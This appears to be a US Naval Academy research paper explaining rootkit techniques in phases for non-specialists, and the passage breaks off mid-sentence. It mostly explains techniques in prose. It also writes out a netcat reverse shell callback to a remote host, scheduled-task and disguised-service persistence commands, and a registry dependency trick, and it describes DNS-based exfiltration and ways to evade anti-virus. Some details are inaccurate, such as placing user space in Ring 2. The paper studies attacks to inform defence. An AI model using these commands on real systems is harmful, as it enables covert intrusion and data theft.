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Executive Summary

The research  study,  An Analysis  of  Root-Kit  Technologies  and Strategies was 
conducted at the United States Naval Academy in an effort to help define a root-kit in 
terms understandable by someone with a background in computing knowledge, but not 
necessarily with the details of how an operating system is run. Specific topics cover basic 
back doors into a target system, covert channels, data exfiltration, and hiding software 
applications in the best way possible for the level of access attained.

Because  root-kits  are  becoming  more  commonplace  on  the  Internet,  the 
Department of Defense must be able to convey the importance of Information Assurance 
when applications such as root-kits can be installed by any number of ways. Once a root-
kit  is  on  the  machine,  it  becomes  increasingly  hard  to  trust  any  information  on  the 
machine, and should the root-kit exfiltrate any information, it may be hard to figure out 
what information was stolen, and how to mitigate the risks involved.

The  goals  of  the  research  paper  were  to  define  root-kit  strategies  in  easy  to 
understand phases,  ranging  from commonly  found network  tools  and  source  code  to 
implementation  strategies  of  today's  modern  root-kits  and  root-kit  prevention  and 
mitigation  systems.  The  source  code  contained  in  the  paper  references  quick 
implementations of keyloggers and DLL injectors, two common applications found in a 
root-kit toolset to hide in the system and then log the user's habits.

At the conclusion, several root-kit papers were analyzed and cataloged as they 
pertained to the different phases that were set up initially. Each and every tool utilized in 
the research study is freely available and has other, less malicious purposes. However, the 
research topics discussed in Phase 6, Advanced Root-Kit  Implementations  are current 
research into how to prevent root-kit installation, and to minimize the effectiveness of a 
root-kit.  The  most  interesting  part  is  that  several  of  the  projects  utilize  hooking and 
patching, two common root-kit practices to subvert the operating system to prevent root-
kits from executing.



1. Introduction

There are several manuals on root-kit technology. Some of them cover techniques 
to make a root-kit harder to detect, whereas others give a series of tools and ideologies 
that help a system administrator find rogue software that has hidden itself in memory. 
There are few books which define in basic English what a root-kit is, how it works, and 
what  its  capabilities  can  be.  The  world  cannot  live  without  a  secure  Internet. 
Governments,  Terrorist  Organizations,  Hackers  and  Security  Companies  around  the 
world are taking a serious look at root-kits for their own ends, and are constantly auditing 
their systems to ensure their information security. While programming a root-kit is no 
easy  task,  understanding  how  a  root-kit  works  is  critical  to  the  security  of  today's 
networks.

2. Definition of a Root-Kit

Bill Blunden, author of The Rootkit Arsenal defines a root-kit as “a collection of 
tools  ...  that  allow intruders  to  conceal  their  activity  on a computer  so that  they can 
covertly  monitor  and  control  the  computer  for  extended  periods”  (Blunden  2009). 
Another  definition  from  Subverting  the  Windows  Kernel:  Rootkits written  by  Greg 
Hoglund and James Butler defines a root-kit as “a set of programs and code that allows a 
permanent or consistent, undetectable presence on a computer” (Hoglund 2006). For the 
purposes of this paper, a root-kit will be defined as “a number of components that while 
working  together  under  the  correct  circumstances  can  hide  the fact  that  a  computing 
system  has  been  compromised  by  an  attacker.”  There  are  several  basic  types  of 
components:

 Firmware – Code residing on a device that defines how hardware and operating 
systems communicate with the device.

 Kernel space code – Code residing in the core of the operating system that has the 
highest-level privileges.

 User space code – Code residing on a system that runs with fewer privileges than 
kernel space, but can still utilize administrator equivalent access.

 Virtualization  –  A  software  component  that  imitates  hardware  on  a  machine, 
allowing  the  operating  system to  run  but  intercepting  all  calls  to  lower  level 
hardware but bypassing any need to interact with the virtualized operating system 
to send and receive data.

 Libraries, drivers, and system executables – Dynamic link libraries are Microsoft 
files  that  can  be  loaded  by  any  operating  system  software  to  utilize  their 
functionality.  An example would be an encryption DLL, being loaded by both 
your web browser and email client. Many of the functions will be used by both 
programs,  so  rewriting  the  code  would  be  redundant.  Drivers  are  software 
components that interface with the underlying hardware components and allow 
higher level operating system code to communicate with hardware. Drivers often 
run with  kernel  level  privileges.  System executables  are  files  such  as  a  login 
manager that reside in user space but run in kernel space.

2.1 Privileges: 



A root-kit can be designed by implementing any of the above components, but 
there are key differences between a kernel 
space root-kit and a user space root-kit. For 
the most part, an operating system has three 
distinct  rings;  kernel  space  is  known  as 
Ring  0,  drivers  run  in  Ring  1,  and  user 
space  programs  run  in  Ring  2  (Hoglund 
2006).  A  root-kit  may  have  access  in  all 
rings, or it  may have access only to those 
with less privilege. The ring model prevents 
malicious  user  space  code  from  getting 
access  to  kernel  space  and  executing 
instructions  that  a  system  administrator 
would  want  to  prevent.  User  space 
programs rarely cross  the  divider  between 
the outer rings and kernel space; the same is 
true for a well designed root-kit. A root-kit 
implemented  only  in  kernel  space  would 
have  the  most  privileges  but  there  are  a 
number of details  that make this somewhat impractical.  User space root-kits have the 
least privilege, so they must have a helper in one of the lower numbered rings to hide 
themselves. For this reason, root-kits are often implemented at multiple levels depending 
on what privileges they need. They then create a covert communication channel between 
the two components to work together.

The ring model is an excellent root-kit implementation strategy. If a kernel-space 
component fails, it crashes the outer rings. If a driver component crashes, it crashes a user 
space application. More privileges require better programming, and since stealth is the 
number one goal, a root-kit must be stable enough to prevent a system administrator from 
looking into why a system crashed. Kernel level root-kits are not without their uses. Since 
they run with system privileges they can subvert firewalls, anti-virus software, and any 
other  malware  prevention  (or  removal)  software.  Driver  privileges  can  be  extremely 
effective, but with new verification algorithms built into Windows, they must be signed 
by  Microsoft  to  be  imported.  Driver  root-kit  implementations  can  include  a  hidden 
network stack, thereby creating a somewhat covert channel to pass information over the 
network. User space root-kits can often inject new threads and DLL's into processes, but 
this type of technique is easily intercepted by intrusion detection and anti-virus software. 
Hybrid root-kits have multiple  levels  of privilege,  and can execute most code in user 
space,  but  easily  traverse  the  ring  implementation  if  they  also  have  a  kernel  space 
component to prevent anti-virus software from finding the injected code.

Figure 1: A Simple Ring Model



Multiple component root-kits can effectively maintain privileges in multiple rings 
to increase system stability and overall usability. Kernel only root-kits are powerful but 
impractical  because they must re-implement several  system calls  and can be unstable. 
User space only root-kits need some form of helper in a lower ring to have any real 
privilege.  Since  the  goal  of  a  root-kit  is  to  maintain  administrative  access  on  the 
compromised system, some kernel or driver level component is almost always necessary, 
be it a root-kit module or an exploit in software.

2.2 Assumptions and Direction

The following assumptions will be made during this study, to develop a baseline 
for each phase of root-kit design. All phases will assume a Windows XP based load, but 
will vary slightly. Exploiting the system to gain access will not be covered, as the root-kit 
is designed to maintain access.  Root-kits  can be installed a number of ways,  such as 
emailed applications, software exploits or via other means. Phase Zero will cover basic 
root-kit callbacks from user space, but will build a baseline for root-kit ideology. Phase 
One will cover covert channels, as they can be created in user space and provide a means 
to exfiltrate data without being directly accessible to the user. Phase Three will cover 
hiding processes in user space, so programs such as the task manager and process listing 
do not list the unknown process. This increases the longevity of a user space root-kit. 
Updating user space root-kits will be covered in Phase Four.

Starting with Phase Five, kernel space root-kit components will receive their basic 
design. Phase Five will cover the same ideas as user space components, but will exist 
primarily  in  kernel  space.  Trade-offs  between kernel  space implementations  and user 
space  implementations  will  be discussed in  these sections  as issues  become relevant. 
Kernel space code will reside as a module inserted into the kernel to gain permissions to 
the lower level kernel functions.

Ring Privileges Implementation

0 - Complete access to all functions on a target machine
- Can be used to circumvent the operating system 
components designed to protect against malware

- Difficult
- Poor implementations will 
cause system crashes

1 - Access to hardware and some kernel space 
components
- File I/O, access to keyboard, webcams, etc.

- Somewhat difficult
- Poor implementations cause 
the drivers to crash, but the 
system itself does not crash.

2 - Administrative if run as administrative user, or 
SYSTEM if run as the SYSTEM user. Otherwise, 
API calls must be hooked or exploited.

- Less Difficult
- Requires some knowledge of 
OS components
- Does not require code, can 
be built with previously 
compiled components.

Figure 2: Root-Kit Implementation and Privileges



The final phase will discuss advanced root-kit implementation strategies. Driver 
level root-kits will be discussed in greater depth, and advanced root-kit strategies such as 
virtualization will be analyzed. 

3. Research Study:

3.1 Topics Covered

3.1.1 Phase 0 Root-kit - A 
basic root-kit in kernel space can 
exist  as  a  simple  netcat1 shell 
running  from  an  administrative 
account.  An administrative  shell 
is the simplest form of a root-kit. 
So long as the administrator does 
not find an attacker's shell, or has 
no way of denying access to the 
shell,  a  basic  root-kit  exists.  A 
number of steps can be taken to 
keep the shell active.

All  Windows  XP 
installations  utilize  a  generic 
application  named  svchost.exe 
that  runs  DLL's  as  if  they were 
applications. A number of system 
services  run  as  svchost.exe, 
making  it  a  simple  way  of 
masking your application. Figure 
3  shows  a  basic  Windows  XP 
install  running  minimal 
applications, with six process instances. All but the first LOCAL SERVICE instance are 
valid processes. Running as a service gives the root-kit SYSTEM level access, which in 
essence is higher than administrative access. The operating system components run with 
SYSTEM privileges. However, running the root-kit as an administrative user may not be 
enough, especially  if  it  runs under a user account.  In this  case,  the process is  almost 
certainly not part of the operating system, and persistence becomes a problem if the root-
kit  does  not  autostart.  This  is  an  easily  fixed  problem,  but  requires  modifying  the 
operating system much more than just running an application. Root-kits are designed to 
hide from System Administrators to prevent being removed or from having the system re-
imaged. If a root-kit is removed, it can no longer serve its purpose of keeping access. 

Running a root-kit as a system service, such as the one in Figure 3 requires a little 
more operating system acrobatics. System services are an excellent way to start a root-kit 
and give it persistence through reboots, but must take a similar degree of stealth as the 
aforementioned root-kit. Creating a system service should be done after doing a lot of 

1 Netcat http://www.securityfocus.com/tools/139

Figure 3: Windows XP Task Manager



research on what components are already installed on the target machine. For instance, 
creating a new service named “Web Server” on a user's desktop is more likely to be 
searched than “Windows Update Helper” (Blunden 2009). Starting a service when the 
machine boots is also an excellent way to install a root-kit. If the service runs before any 
anti-virus  applications  are  able  to  load,  it  gives  the  root-kit  ample  time  to  load  any 
components needed to in order to hide from security software. Also, running before a 
firewall or anti-virus loads also gives the root-kit time to receive a new payload without 
the  firewall  blocking  its  requests,  and  also  to  disable  or  install  new  applications  to 
compromise other components in the system, such as the firewall or anti-virus. 

Furthermore, there are a number of other tricks a root-kit installed as a service can 
utilize to prevent being unloaded. Services also have dependencies, making them rely on 
other services. A root-kit can be installed in such a way that critical system processes can 
depend on it, preventing an administrator from closing the application even if they know 
it is malicious. Taking this a step further, the root-kit can exist as multiple services, such 
that  a  single  system  critical  process  can  depend  on  multiple  different  root-kit 
components. This keeps the root-kit process resident as a service and makes it extremely 
hard to close, even for a skilled system administrator. Also, other components can depend 
on the root-kit. The system's anti-virus software can depend on the root-kit service. If the 
root-kit  is  removed,  the  anti-virus  cannot  start,  causing  another  root-kit  process  to 
reinstall everything. The machine may need to be taken offline to remove services created 
in such a way. Critical system services that can be targeted by a root-kit are commonly 
the  Remote  Procedure  Call,  Automatic  Updates,  svchost.exe  applications,  anti-virus 
applications,  firewalls  and event logs.  If  any of these components  fail  on startup,  the 
system will have security issues, if it starts at all. If the system administrator has found 
the root-kit, this may not be an issue (Blunden 2009).

3.1.2 Phase 0 Root-kit Implementation– Implementation of the “Phase 0” root-kit 
will  require  netcat.  Netcat  will  be  flagged  as  malware  by  modern  day  anti-virus 
applications,  but bypassing anti-virus is a completely different problem. Some system 
administrators  keep  a  copy  of  netcat  on  the  target  system  by  default,  as  Linux 
distributions such as Fedora come with it preinstalled. However, once netcat is on the 
machine and the signature has changed (through some recoding or otherwise) the basic 
channel to access the operating system is there.

Basic configuration of the root-kit at this point is to have a listen shell waiting on 
a remote machine for a “call-back.” This is as simple as purchasing something like a 
Virtual Private Server, or even using an already rooted machine as a proxy server. A 
listen shell on port 1337 using netcat can be created using the following command2:

nc -l -p 1337 –t

Once the netcat listener is set up on the attacker's machine, the callback can be set 
in place. There are two very basic options to obfuscate and protect the netcat shell on the 
target machine. Changing the name to svchost.exe as previously described can obfuscate 
the process in the list, or if keeping the process alive is more important than obfuscating, 
a commonly used technique is to rename the executable smss.exe. This executable (by 

2 NetCat Cheat-Sheet: www.sans.org/resources/sec560/netcat_cheat_sheet_v1.pdf



name) cannot be closed by the task manager through normal means. Now that the file has 
been renamed, the root-kit callback shell will be invoked using the following command:

./svchost -e cmd.exe remoteip 1337

To make the root-kit more persistent (or to prevent loss of all access in the event 
of a reboot or the sysadmin finds the process and kills it), the callback can be scheduled. 
This can be done as follows:

schtasks /create /tn "Windows Update" /tr "\"c:\svchost.exe \" 
-e cmd.exe remoteip 1337" /sc daily /sd 01/01/2010 /st 1:00

There is very little root-kit protection in this scheme. Adding the application as a 
service can help promote  the longevity  of  the root-kit.  Services  with normal  looking 
names can be used to elude a system administrator. To add an application as a service, the 
following command is used:

sc create “Windows Update Helper” binpath= “C:\svchost.exe -e 
cmd.exe remoteip 1337” type=own start=auto 

Dependencies  will  also  ensure the root-kit  remains  hard to  remove.  However, 
there is no quick command line way of adding dependencies,  so the registry must be 
modified.  To  add  dependencies  to  something  important  like  RemoteProcedureCall, 
modify the registry entry through a .reg file or similar means. The entry has a parameter 
named “DependonService” to which the “Windows Update Helper” should be appended. 
The registry entry in question is:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteProcedureCall

Another way to make the root-kit hard to remove in this fashion is to cyclically 
make the services dependent on one another. If neither process can be killed, the root-kit 
may have been found, but it  gives the attacker time to download any data at the last 
minute or remove any other applications he or she may have put on the machine.

3.1.3 Phase 1 Root-kit-  A covert channel is any somewhat hidden or obfuscated 
mechanism for passing data in a root-kit,  and make an excellent  way of sending and 
receiving data between rings or machines. A covert channel could be as simple as a well 
hidden encrypted file. A covert channel can also be a network connection or a buffer in 
memory.  However,  as  Greg  Hoglund  states  in  his  book,  “Covert  channels  must  be 
designed.  They cannot  be  known protocols  or  software  designs.  A covert  channel  is 
usually some form of extension upon an existing protocol or software communication 
process in order to remove hidden data” (Hoglund 2004).  Therefore,  in order for the 
channel to be covert, it must be designed on top of something. A simple unencrypted file 
may suffice, but it will not be covert as a file encrypted and made to look like a memory 
dump file. There are many other methods for creating covert channels, but the focus will 
be  on  three  primary  methods:  files,  memory  and  the  network.  Each  method  has  its 
benefits and drawbacks.



Although they  are  not  in  and of  themselves  root-kits,  keyloggers  demonstrate 
several of the principles of covert channels, and can be a critical component in a root-kit. 
A keylogger has three primary options for storing the keys it logs. The first is to a file, 
and to store that file somewhere on the target system. The target operating system has 
thousands  of  files;  adding  one  more  file  to  the  file  system will  not  be  immediately 
apparent, especially if it is hidden and in a system directory. A keylogger dumping to a 
file on the hard drive poses a significant digital forensics problem, especially if the file is 
unencrypted. However, to minimize footprints on both the processor and memory, robust 
encryption may not be an option. Also, getting access to the machine again may be an 
issue if the administrator changes the password or starts to notice the system may be 
subject to an attacker. The file the data is being dumped to could get extremely large and 
start to be noticed. If the attacker can't get to the file in time, the system administrator 
will begin to notice an increasingly large file. For these reasons, the keylogger should 
cycle files or allow you to connect remotely.

A network connection to the keylogger may be necessary to retrieve files or to 
echo  characters  typed  locally  back  to  the  remote  attacker.  There  are  good 
implementations and bad implementations of this idea. First, the traffic must be masked 
among other traffic originating from the machine.  If the machine uses primarily TCP 
connections  to  communicate,  the  keylogger  should  utilize  TCP  connections  for  its 
administrative functions. Second, the keylogger can be built to send keys back in two 
fashions. One implementation is to send each and every character back in its own packet. 
While  this  ensures  that  each  and every  character  makes  it  to  the  attacker  quickly,  it 
generates a lot of traffic. The second and preferred method involves creating a buffer that 
will be sent to the attacker once it has reached its capacity. While some keys may be lost 
if the machine goes down or loses its connection, it will run under the radar more easily. 

Sending packets full of unencrypted data, or even some encrypted data may still 
register as suspicious traffic to a system administrator. Bill Blunden has a solution to this 
problem, involving cleverly crafted DNS requests. If a computer is utilized to browse 
websites,  a  clever  attacker  could  register  a  number  of  domains  that  look  like  very 

Method Pros Cons

Filesystem - Easy to implement.
- Files can be checked at any point in 
time.
- Can be stored anywhere in the 
filesystem, making it hard to find if well 
hidden.

- May need an encryption algorithm.
- Vulnerable to digital forensics if found.

Network - Provides immediate local and remote 
access to data
- Not stored on filesystem
- Can be hidden in normal network traffic

- Requires network connection
- May be blocked by firewalls or proxies.
- Vulnerable to packet filtering and packet 
sniffing programs.

Memory - Disappear on reboot (unless written to a 
page file on disk)
- Easy to implement
- Provide

- Can cause large increases in memory usage
- Hard to access at a later time or different 
location

Figure 4: Covert Channel Comparison



legitimate  websites  to  match  the  traffic  being  browsed.  The  keylogger  in  turn  could 
generate  DNS requests  for subdomains of that  domain,  corresponding to a minimally 
encrypted or obfuscated set of characters in a log file. For instance, the local machine 
may have a password “rewt” for a user account on the system. The root-kit can push this 
password  through  the  ROT13  algorithm,  generating  “erjg”  as  its  output.  The  local 
machine would then generate a DNS request for “erjg.securitywebsite.com.” The request 
can come back valid, and nothing is amiss. However, the remote DNS server can log each 
request  and then run that  subdomain  back through the  ROT13 algorithm to generate 
“rewt,”  the  data  being  sent  back.  Other  options  are  to  generate  a  realistic  set  of 
subdomains where the first letter  in each subdomain is the data being sent. There are 
several other methods for extracting data in this manner, from ICMP traffic to HTTP 
POST requests of valid data to a remote machine (Blunden 2009).

A keylogger that uses its primary storage location as memory can be used in some 
instances  to  mask  its  presence.  If  the  keylogger  watches  for  a  specific  series  of 
keystrokes, it can dump them into a notepad window without writing them to disk, or 
send them in a single package over the network. It can also watch for the presence of a 
removable drive to dump the files to, allowing the attacker a means of quickly dumping 
the  data  and  erasing  it  from the  computer.  However,  if  the  buffers  get  too  big,  the 
keylogger will need some other way of storing the data so it doesn't present itself as a 
memory hog and be suspect.

Hoglund  uses  the  term  “steganography”  when  describing  covert  channels. 
Steganography brings another idea to the table, such as using a tool that can hide text in a 
carrier  image  using  least  significant  bit  algorithms.  The  images  could  reside  on  a 
webserver,  and  a  simple  GET request  of  the  homepage  could  be  the  covert  channel 
(Hoglund 2004).

As with a root-kit, a keylogger must be a hybrid of these ideas. A keylogger can 
keep a  number of  keys  in  memory and then write  them to a  file  or  to  the  network, 
allowing the attacker to stay somewhat under the radar and within a reasonable amount of 
storage space to help hide its presence. The attacker may also have a critical factor to 
help with the retrieval of data, time. A single request containing a small amount of data 
every few days will fly under the radar much better than a series of connections with 
small amounts of data. Combining these three primary principles demonstrated with a 
keylogger  makes  for  a  stealthier  root-kit,  as  a  root-kit  can  implement  a  keylogging 
component. Figure 4 lists each of these ideologies for quick reference.

3.1.4  Phase  1  Root-kit  Implementation  (key  logger)  –  Implementing  a  basic 
keylogger will demonstrate the basics of covert channels. Any line numbers referenced 
can  be  found  in  Appendix  A.  To  begin,  a  function  “keylog”  should  be  created. 
Implementing  this  function  will  allow  it  to  be  used  in  a  root-kit  and  not  just  as  a 
standalone application. When a user types keys, the keylogger will grab them as they are 
being sent to the application and store them in a file. For ease of implementation, drop the 
file in C:\log.txt  as demonstrated on line 17. The for loop beginning on line 19 cycles 
through the possible valid keys, and serves as a starting point for grabbing keystrokes.

The  simplest  method  for  grabbing  keystrokes  as  they  are  sent  is  to  use  the 
GetAsyncKeyState(int vKey) function3. This function checks whether a key is pressed, 

3 GetAsyncKeyState() : http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx



and relies on the most significant bit in the return value to verify to determine the down 
state of the key. The bit-wise and operator (&) is used to return a true or false value with 
the most  significant bit. The keylogger then pauses for 100ms to prevent a high amount 
of CPU usage. This is on average the amount of time a key will stay depressed on a 
machine. Any lower and multiple copies of the same data are captured, and any longer 
results in missed keystrokes. Lines 22 through 28 take care of a few special key cases. 
The final line does not differentiate between capital and lower case letters captured by the 
keylogger, but a simple poll of the shift or caps lock key could remedy this situation.

3.1.5 Phase 2 Root-kit (Hiding in Userspace)-  Root-kits need to be stealthy to 
prevent  their  discovery.  However,  all  previous  root-kit  components  have  relied  on 
cleverly named executable files and pseudo- protection from the operating system itself. 

However, a savvy system 
administrator  will 
inevitably  find  and 
remove these processes. If 
it  cannot  be  removed 
without  significant 
damage, the machine will 
be  reimaged,  and  the 
attacker  will  lose  access. 
More  importantly,  digital 
forensics can be done on 
the  executable  files,  and 
the  signature  could  be 
used as a match on other 
machines.

A  root-kit  must 
remain hidden, and one of 
the simplest ways to do so 
is  to  remove  it  from the 
list  of  processes.  There 
are  a  number of ways to 
do  this.  Modifying  the 
process  table  itself  to 
jump  over  the  root-kit 
process  is  one  option,  as 
is  importing  the  root-kit 

as a DLL, or injecting the root-kit as a thread into another process. 
A good way to hide in userspace is to use DLL injection. DLL Injection uses a 

small library file that has been specially crafted for the root-kit’s usage. The DLL has a 
number of functions built in to run as a process or intercept system calls. A copy of the 
DLL itself can be injected into each process space, something that may catch the eye of a 
system administrator, or can be injected into one process by utilizing the LoadLibraryA( ) 
function from kernel32.dll. This method allows the root-kit to run in the process space 
and memory space of another, making the root-kit seem much stealthier. This method 
allows  an  attacker  to  allocate  memory  inside  the  target  process  and  run  the  root-kit 

Figure 6: DLL Injection Method

Figure 5: Hooking Address Table



without  hooking  any  references  in  the  interrupt  address  table.  Instead  of  relying  on 
interrupts, the root-kit behaves just as though it was its own process, but it is now hidden 
in another process. This DLL injection method is shown in Appendix B. Lines 14 and 15 
get  the  LoadLibraryA  function  from  the  kernel32  module,  while  line  20  allocates 
memory in the target process to load the DLL. Lines 27 and 28 inject the new thread into 
the  process,  thereby  injecting  the  DLL  into  that  process.  This  code  is  a  slight 
modification  of  Bill  Blunden’s,  giving  a  command-line  interface  to  inject  into  any 
process to which the user has permission (Blunden 2009). Another method to inject the 
DLL is to call SetWindowsHookEx( ) allowing the root-kit code to run in place of or 
before the actual system call (Hoglund 2004). This method is often used to monitor some 
aspect of the system, such as network traffic, file listing, and anti-virus. The possibilities 
of this method are endless, but one usage is to hook an application before it encrypts data, 
dumping the plain-text into a file or covert channel. The application itself continues on as 
normal while the root-kit is exfiltrating data. Also, the root-kit can intercept system calls 
and  modify  the  source  or  return  data.  This  is  particularly  effective  when  evading 
signature checking in an anti-virus or removing root-kit files from a directory listing. 

Root-kit  code  can  be  easily  viewed  by  a  forensics  expert  under  the  correct 
circumstances, and a signature can be generated from a block of code. As such, the root-
kit  should  be  able  to  modify  itself  in  some  way.  There  are  a  number  of  ways  to 
accomplish this idea, from encrypting the primary root-kit functions, and then having a 
loader decrypt that payload at runtime. However, with this means the loader needs to be 
unencrypted, making it relatively easy to generate a signature. Modifying the loader can 
be done by functions in the root-kit. Consider the following two pieces of assembly. 

and ax,0 xor ax, ax
inc ax add ax, 1

While basic, these demonstrate a very key part of hiding in plain sight. Both of 
these pieces of code do the exact same thing, just using two different methods. The first 
performs a logical and of the AX register with zero, resulting in a zero being stored in 
AX. It then increments the result by one. The second does an XOR operation of a register 
on itself, resulting in a zero. It then calls the add instruction to add a one to AX. AX now 
contains  1  in  both  cases.  If  the  root-kit  on a  fundamental  level  needs  to  accomplish 
something, it can be performed a number of ways. As a result, signatures may need to be 
created  for  each and every version of the root-kit.  Also,  this  method can be used to 
obfuscate code inside the root-kit, as something as trivial as adding or multiplying can be 
done with a series of instructions, making the actual actions not immediately apparent. 
The root-kit can modify itself internally to do relatively the same thing with a different 
set of instructions, and new loaders can be implemented for the same root-kit, just with a 
new signature. The classic “nop sled” used in buffer overflow attacks can be replaced 
with things like XOR sleds. Furthermore, the root-kit can be configured to generate a 
different series of instructions each time it runs, making it much harder to recognize.

A final method to hide the root-kit is extremely similar to the previous method. 
Direct patching of the exploited program while loaded in memory or on the hard drive is 
an excellent way to ensure the root-kit runs and stays hidden. The same principles apply 
to patching as those for covert channels. Patching a function call in memory is harder 
than on the disk, but evades digital forensics more effectively. Directly patching involves 



using a second process to find a reference in memory or on disk to a specific function call 
and sending it to the root-kit. While there is high-level difference between this method 
and hooking the IAT, one key observation is the lack of SetWindowsHookEx( ). While 
this function is extremely effective for hooking the all interrupts or just that for a specific 
process, it is easily caught by anti-virus and similar applications. Direct patching handles 
only one specific process or DLL, but is much quieter than using SetWindowsHookEx( ) 
(Blunden 2009).

3.1.6  Phase 3 Updating the Userspace Root-Kit – Systems are often patched, and 
anti-virus  applications  are  constantly  updated  to  look  for  new  signatures  or  have 
heuristics built in to look for anything out of the ordinary on the operating system. An 
attacker may need to update the root-kit at this point, to take advantage of a new attack 
vector, or to take hold of a new exploitable section of code as the old implementation will 
be rendered obsolete with a new patch. There are several ways to achieve this goal.
The simplest method of updating the root-kit is to simply replace the previous executable 
file, DLL or exploited file with a new one, and update the configuration of the running 
machine as necessary. Updating a root-kit in this manner is as simple as unloading it, 
updating the file by copying over it,  and then re-executing the file.  However, if  your 
connection to the remote machine relies on the installation of the new root-kit, this may 
not be an option. One method to counter-act this is obviously to root the machine twice, 
giving you two connections. The issue is that this might cause more instability on the 
system, as introducing a root-kit in the first  place,  no matter  how simple leaves little 
room for failure. Another option is to write a simple script to remove the root-kit, install 
the new one, and then delete the script and old root-kit. This is an excellent method, as it 
can be used to shift between the two root-kits. However, it does leave a little more data 
behind to use for digital  forensics. Bill  Blunden recommends using a secure shredder 
program when removing  data  from a  machine.  A secure  shredder  will  overwrite  the 
“deleted” file several times using various secure deletion algorithms, leaving behind only 
the secure shredder executable for digital forensics later on. Another option is to encrypt 
all the data, but the keys may be in memory on the target machine (Blunden 2009)s.

As most root-kit fundamentals can be applied to other applications in the root-kit, 
the same principles as hiding the root-kit now apply to updating it.  A root-kit can be 
patched just as any other application. Therefore, function calls can be added, removed, 
moved,  or  modified  while  the application  is  still  running.  This  allows the root-kit  to 
remain functional  during the update  process without unloading and loading back into 
memory.

3.1.7  Phase 5 Kernel Root-kits – Many of the ideologies programmed thus far 
also  apply  to  kernel  root-kits.  Hooking  kernel  functions  is  a  common  method,  and 
behaves  just  as  its  user-space  counter-part.  Excellent  uses  of  this  are  to  circumvent 
firewalls by interacting directly with the network stack. A common way to do this is by 
creating a separate network device driver. The driver allows the root-kit to have its own 
IP Address  separate  from the  one being  watched by the  firewall,  as  well  as  its  own 
separate interface mapped to the same piece of hardware.

Thus far,  most  of  the  information  presented  has  been  related  primarily  to  the 
Microsoft Operating System family, though the core ideas are OS independent.  While 
Microsoft has device drivers that can be imported into the kernel, as well as modules and 



DLL’s, Linux kernel modules are excellent examples of how a root-kit can be installed 
extremely  easily.  Root-kits  can  be  implemented  extremely  easily  by  using  kernel 
modules. Linux Kernel Modules (LKM) allows a root-kit to be inserted directly into the 
kernel, much like a module. Once the module is inserted, it calls an init() function, and 
can then run as a standard application, with a few changes (Riley 2009).

Because the root-kit now resides in kernel space, it does not have the ability to 
reference user space functions. That is,  there is no longer a “cout” to write to a file. 
Instead, files need to be referenced with a completely different set of functions. This is a 
much  easier  task  on  Linux  with  the  source  available,  on  Windows,  it  involves  a 
significant amount of reverse engineering for potentially no payoff (Blunden 2009). The 
advantage here is unsurpassed power in the operating system. Since everything on the 
machine must interact with the kernel at some point, it allows an attacker to subvert any 
number of function calls  and interrupts.  As mentioned earlier,  one of the methods to 
hiding on a machine is only available to kernel space. Unlinking the root-kit from the 
process table enables it  to run in its own process and memory space. This makes the 
program as stable as it can be written, without injecting or running the risk of the DLL 
being unloaded. The simplest example involves three processors in a doubly linked list. 
Without  modifications,  the process table  is  linked sequentially,  allowing for traversal 
between processes in either direction. Once the process table is modified, the first process 
will point to the third, and the third will point to the first. This leaves the middle process 
with two dangling pointers, so they should just point back to the process, as they do in 
Figure  6.  The  same  methodology  can  be  used  to  hide  drivers,  which  is  especially 
important when hiding the root-kit kernel driver (Blunden 2009).

Another implementation requiring kernel access is a filter driver. A filter driver is 
has many of the same implementation strategies as the kernel module, but serves as an 

excellent  way  to  capture 
keystrokes  by  sitting 
between  the  keyboard’s 
physical  hardware  and  the 
keyboard  driver, 
intercepting  every 
keystroke  before  it  even 
reaches  the  machine.  This 
is  a  minimal  usage of this 
idea.  Exfiltrating data over 
the network becomes trivial 
when  a  filter  driver  is 
installed.  Drivers  can  also 
be  injected  before  web 
traffic  becomes  encrypted. 
Then, the same root-kit can 
secure  its  own  exfiltrated 
data connection.

3.1.8 Phase 6 Advanced Root-Kits  –  The root-kits  covered thus  far  have  all 
resided within user space and kernel space. However, root-kits themselves are evolving in 
to even more dangerous root-kits. There is a growing interest in hardware level root-kits, 

Figure 6: Modify Process Table



as well as virtualization (or hypervisor) root-kits. Generally, hardware is trusted. Servers 
are  often  ordered  through  contracts  and  are  then  installed  with  the  operating  system 
necessary to complete specific tasks. Assume for a minute that the software sitting on top 
of the hardware is impenetrable; there are no exploits or vulnerabilities and all the users 
of the machine will never do anything that could compromise the machine's integrity. It is 
a perfect software and training solution. However, information is still getting exfiltrated 
from the machine. Somewhere while changing hands or in the original manufacturing 
process of the actual hardware components, when the silicon was flashed with its basic 
software, a backdoor was created. This type of root-kit can be a user's worst nightmare, 
as  their  hardware  itself  is  to  blame.  Fortunately,  this  type  of  root-kit  must  be  very 
specialized, affecting only a handful of types of hardware without being rewritten.

Unfortunately, this type of root-kit will become more and more common as time 
goes on. Inherently, hardware is a trusted base for computing needs. While it is much 
easier to write an exploit and root a machine on the software/OS level, hardware root-kits 
are not outside the realm of possibility, especially if software can be used to re-flash the 
machine while it is running. In this case, the only way to establish trust with the hardware 
is to re-flash each and every chip on the board, and prevent it from being flashed. A 
firmware level root-kit will subvert every security mechanism (short of an air gap) placed 
on the machine. A firmware level root-kit can send network traffic, capture keystrokes, 
crash the  machine,  modify  data,  and an endless  number  of  other  possibilities.  While 
firewalls and proxies will stop a lot of potential exfiltration techniques, this is only one 
function that has been subverted. Data can be exfiltrated from any aspect of the machine, 
even something as simple as Morse code using the LEDs on the front.

Many of these root-kits already exist  in the form of Field Programmable Gate 
Arrays (FPGAs). A network card may contain an FPGA to do network processing instead 
of leaving that up to the CPU on the machine. While FPGAs allow the hardware to be 
programmed for  a  very specific  purpose on  a  very powerful  chip,  there  are  obvious 
security implications here. The network card does not have to strictly interface with the 
OS and the network. Since it is connected to the system BUS, it can also deadlock the 
system or create race conditions between real and spoofed hardware calls. Also, a root-kit 
residing on a system's network card or IDE/SATA controller could easily rewrite data 
being  sent  to  and  from  the  device.  This  is  again  a  serious  issue,  as  data  could  be 
exfiltrated directly from the hard drive, through the hardware itself, and over the network, 
even if the user has turned the machine off (Kucera ).

Virtualized and Hypervisor root-kit implementations are a very interesting topic. 
Virtualization products sit between a host platform and a guest operating system. Some 
implementations sit on top of another installed, host operating system, whereas others are 
in  and of  themselves  an operating system that  has the sole  purpose of managing the 
priorities of multiple operating systems interfacing with the hardware. Hypervisor root-
kits take this same implementation strategy. In their infancy, hypervisor root-kits could 
